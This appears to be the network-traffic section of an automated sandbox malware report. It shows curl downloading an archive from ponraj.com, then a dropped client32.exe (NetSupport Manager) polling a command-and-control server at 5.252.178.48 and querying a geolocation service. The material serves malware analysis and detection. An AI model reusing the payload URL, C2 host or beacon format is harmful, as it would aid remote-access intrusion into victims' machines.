Jul 18, 2023 17:37:07.132611036 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:07.132627964 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:07.132652044 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:07.132703066 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:07.156147957 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:07.156184912 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:07.904988050 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:07.905071974 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:07.905200005 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:07.970525980 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:07.970599890 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.099385023 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.099637032 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.101458073 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.101490974 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.101855040 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.118174076 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.160293102 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.273577929 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.273613930 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.273638010 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.273716927 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.273751020 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.273771048 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.273811102 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.274025917 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.274054050 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.274106979 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.274115086 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.274142981 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.323385954 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.332072020 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.332113981 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.332194090 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.332217932 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.332235098 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.332277060 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.332881927 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.332911968 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.332973003 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.332983971 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.333014965 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.333033085 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.372536898 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.372570038 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.372687101 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.372744083 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.372773886 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.372800112 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.391606092 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.391639948 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.391720057 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.391762018 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.391788006 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.391834974 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.392404079 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.392429113 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.392512083 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.392537117 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.392560005 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.392592907 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.392771959 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.392793894 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.392858028 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.392873049 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.392896891 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.392932892 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.393044949 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.393066883 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.393127918 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.393151045 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.393172979 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.393208981 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.393368006 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.393390894 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.393461943 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.393479109 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.393502951 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.393526077 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.435962915 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.436081886 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.436126947 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.436172009 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.436191082 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.436238050 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.436316013 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.436404943 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.436419964 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.436484098 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.436492920 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.436531067 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.449129105 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.449218988 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.449285984 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.449321985 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.449346066 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.449378967 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.449619055 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.449651003 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.449718952 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.449728966 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.449758053 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.449779987 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.451225996 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.451255083 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.451323986 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.451333046 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.451361895 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.451379061 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.451466084 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.451494932 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.451529980 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.451539040 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.451565981 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.451582909 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.451724052 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.451750994 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.451792002 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.451800108 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.451831102 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.451848030 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.451980114 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.452007055 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.452044010 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.452052116 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.452083111 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.452104092 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.452217102 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.452244997 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.452284098 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.452294111 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.452318907 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.452332973 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.452512980 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.452543974 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.452589035 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.452598095 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.452625036 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.452645063 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.452780962 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.452810049 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.452845097 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.452853918 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.452881098 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.452897072 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.469748020 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.487859011 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.487904072 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.488035917 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.488035917 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.488110065 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.488185883 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.493792057 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.493827105 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.493911982 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.493911982 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.493958950 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.494025946 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.494307041 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.494330883 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.494386911 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.494402885 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.494425058 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.494457006 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.494894981 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.494920015 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.494992018 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.495009899 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.495033026 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.495065928 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.495434999 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.495459080 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.495533943 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.495549917 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.495575905 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.495604992 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.507564068 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.507601976 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.507699966 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.507700920 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.507766962 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.507833958 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.508089066 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.508116007 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.508171082 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.508189917 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.508217096 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.508248091 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.508639097 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.508667946 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.508725882 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.508743048 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.508769989 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.508800030 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.510706902 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.510745049 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.510823011 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.510839939 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.510865927 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.510901928 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.511312008 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.511348009 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.511410952 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.511428118 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.511452913 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.511490107 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.511918068 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.511955023 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.512001038 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.512016058 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.512039900 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.512073994 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.512525082 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.512566090 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.512604952 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.512620926 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.512648106 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.512682915 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.512991905 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.513031960 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.513072968 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.513087988 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.513112068 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.513148069 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.513473988 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.513520956 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.513578892 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.513595104 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.513619900 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.513655901 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.513894081 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.513952971 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.513974905 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.513992071 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.514017105 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.514074087 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:08.514131069 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.524380922 CEST	49721	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:08.524454117 CEST	443	49721	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:09.404854059 CEST	49722	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:09.404911041 CEST	443	49722	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:09.405177116 CEST	49722	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:09.422663927 CEST	49722	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:09.422705889 CEST	443	49722	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:09.543149948 CEST	443	49722	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:09.543255091 CEST	49722	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:09.546036005 CEST	49722	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:09.546056986 CEST	443	49722	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:09.546580076 CEST	443	49722	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:09.565620899 CEST	49722	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:09.612283945 CEST	443	49722	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:09.651326895 CEST	443	49722	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:09.651427984 CEST	443	49722	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:09.651541948 CEST	49722	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:09.668488026 CEST	49722	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:09.668526888 CEST	443	49722	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:13.982577085 CEST	49723	443	192.168.2.5	5.252.178.48
Jul 18, 2023 17:37:13.982626915 CEST	443	49723	5.252.178.48	192.168.2.5
Jul 18, 2023 17:37:13.982697010 CEST	49723	443	192.168.2.5	5.252.178.48
Jul 18, 2023 17:37:14.375973940 CEST	49723	443	192.168.2.5	5.252.178.48
Jul 18, 2023 17:37:14.376032114 CEST	443	49723	5.252.178.48	192.168.2.5
Jul 18, 2023 17:37:14.376126051 CEST	443	49723	5.252.178.48	192.168.2.5
Jul 18, 2023 17:37:16.571000099 CEST	49724	80	192.168.2.5	62.172.138.67
Jul 18, 2023 17:37:16.613445044 CEST	80	49724	62.172.138.67	192.168.2.5
Jul 18, 2023 17:37:16.613622904 CEST	49724	80	192.168.2.5	62.172.138.67
Jul 18, 2023 17:37:16.762129068 CEST	49724	80	192.168.2.5	62.172.138.67
Jul 18, 2023 17:37:16.808990002 CEST	80	49724	62.172.138.67	192.168.2.5
Jul 18, 2023 17:37:16.809086084 CEST	49724	80	192.168.2.5	62.172.138.67
Jul 18, 2023 17:39:04.327872992 CEST	49724	80	192.168.2.5	62.172.138.67
Jul 18, 2023 17:39:04.370074987 CEST	80	49724	62.172.138.67	192.168.2.5
Jul 18, 2023 17:39:04.370198965 CEST	49724	80	192.168.2.5	62.172.138.67

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 18, 2023 17:37:05.762547970 CEST	61452	53	192.168.2.5	8.8.8.8
Jul 18, 2023 17:37:05.798310041 CEST	53	61452	8.8.8.8	192.168.2.5
Jul 18, 2023 17:37:07.858429909 CEST	65323	53	192.168.2.5	8.8.8.8
Jul 18, 2023 17:37:07.878695965 CEST	53	65323	8.8.8.8	192.168.2.5
Jul 18, 2023 17:37:09.362327099 CEST	51484	53	192.168.2.5	8.8.8.8
Jul 18, 2023 17:37:09.384577036 CEST	53	51484	8.8.8.8	192.168.2.5
Jul 18, 2023 17:37:15.869107008 CEST	63446	53	192.168.2.5	8.8.8.8
Jul 18, 2023 17:37:15.904019117 CEST	53	63446	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 18, 2023 17:37:05.762547970 CEST	192.168.2.5	8.8.8.8	0xc404	Standard query (0)	ponraj.com	A (IP address)	IN (0x0001)	false
Jul 18, 2023 17:37:07.858429909 CEST	192.168.2.5	8.8.8.8	0x4db3	Standard query (0)	ponraj.com	A (IP address)	IN (0x0001)	false
Jul 18, 2023 17:37:09.362327099 CEST	192.168.2.5	8.8.8.8	0xbf22	Standard query (0)	ponraj.com	A (IP address)	IN (0x0001)	false
Jul 18, 2023 17:37:15.869107008 CEST	192.168.2.5	8.8.8.8	0x6396	Standard query (0)	geo.netsupportsoftware.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 18, 2023 17:37:05.798310041 CEST	8.8.8.8	192.168.2.5	0xc404	No error (0)	ponraj.com		188.127.225.160	A (IP address)	IN (0x0001)	false
Jul 18, 2023 17:37:07.878695965 CEST	8.8.8.8	192.168.2.5	0x4db3	No error (0)	ponraj.com		188.127.225.160	A (IP address)	IN (0x0001)	false
Jul 18, 2023 17:37:09.384577036 CEST	8.8.8.8	192.168.2.5	0xbf22	No error (0)	ponraj.com		188.127.225.160	A (IP address)	IN (0x0001)	false
Jul 18, 2023 17:37:15.904019117 CEST	8.8.8.8	192.168.2.5	0x6396	No error (0)	geo.netsupportsoftware.com	geography.netsupportsoftware.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 18, 2023 17:37:15.904019117 CEST	8.8.8.8	192.168.2.5	0x6396	No error (0)	geography.netsupportsoftware.com		62.172.138.67	A (IP address)	IN (0x0001)	false
Jul 18, 2023 17:37:15.904019117 CEST	8.8.8.8	192.168.2.5	0x6396	No error (0)	geography.netsupportsoftware.com		51.142.119.24	A (IP address)	IN (0x0001)	false
Jul 18, 2023 17:37:15.904019117 CEST	8.8.8.8	192.168.2.5	0x6396	No error (0)	geography.netsupportsoftware.com		62.172.138.8	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ponraj.com

5.252.178.48connection: keep-alivecmd=pollinfo=1ack=1

geo.netsupportsoftware.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49720	188.127.225.160	443	C:\Windows\System32\curl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49721	188.127.225.160	443	C:\Windows\System32\curl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49722	188.127.225.160	443	C:\Windows\System32\curl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49723	5.252.178.48	443	C:\ProgramData\client32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 18, 2023 17:37:14.375973940 CEST	3008	OUT	POST http://5.252.178.48/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 5.252.178.48Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49724	62.172.138.67	80	C:\ProgramData\client32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 18, 2023 17:37:16.762129068 CEST	3010	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Jul 18, 2023 17:37:16.808990002 CEST	3010	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; Charset=utf-8 Server: Microsoft-IIS/10.0 Access-Control-Allow-Origin: * Set-Cookie: ASPSESSIONIDCSATSCSC=JIJDKNLCFFOHONKLFLHJGAGG; path=/ X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin strict-transport-security: max-age=31536000; includeSubDomains X-Frame-Options: SAMEORIGIN Date: Tue, 18 Jul 2023 15:37:16 GMT Content-Length: 15 Data Raw: 34 37 2e 31 37 37 32 2c 38 2e 34 32 37 31 39 Data Ascii: 47.1772,8.42719

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49720	188.127.225.160	443	C:\Windows\System32\curl.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-18 15:37:06 UTC	0	OUT	GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lol.7z HTTP/1.1 Host: ponraj.com User-Agent: curl/7.55.1 Accept: /
